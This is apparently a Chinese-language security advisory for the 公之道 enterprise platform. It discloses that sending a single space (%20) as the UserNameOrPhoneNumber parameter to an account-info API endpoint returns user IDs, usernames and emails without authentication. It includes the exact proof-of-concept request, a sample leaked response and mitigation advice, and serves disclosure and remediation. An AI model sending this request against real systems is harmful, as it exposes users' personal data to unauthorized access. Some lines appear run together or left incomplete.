公之道系统是一个由公之道开发的平台。它提供包括用户管理、数据分析和运营功能在内的企业解决方案。然而,发现其中一个API端点存在安全漏洞,可能导致敏感用户信息在未经适当授权的情况下泄露。
公之道系统的 /oaa/api/AccountMaster/GetCurrentUserInfo API 端点存在漏洞。通过在 UserNameOrPhoneNumber 参数中传入 %20(一个URL编码的空格),API 会在未经适当身份验证或授权的情况下,返回包含账户ID、用户名和电子邮件地址的敏感用户信息。这种不正确的输入验证使攻击者能够未经授权访问敏感数据。
成功利用此漏洞可能导致敏感用户数据泄露,包括:
攻击者可以利用这些信息进行进一步攻击,例如身份盗窃或网络钓鱼。
要利用此漏洞,攻击者需要向易受攻击的API端点发送精心构造的HTTP GET请求:
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
该请求会返回200 OK响应,其中包含JSON格式的敏感用户数据:
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber,输入为 %20实施正确的输入验证:确保对 UserNameOrPhoneNumber 参数进行适当的清理和验证。应拒绝诸如 %20 之类的输入。
添加授权检查:实施适当的授权机制,确保只有经过身份验证和授权的用户才能访问敏感信息。
速率限制和监控:对API端点应用速率限制,以防止暴力破解或自动化攻击,并监控API活动以发现异常访问模式。
此漏洞由 hithub 发现。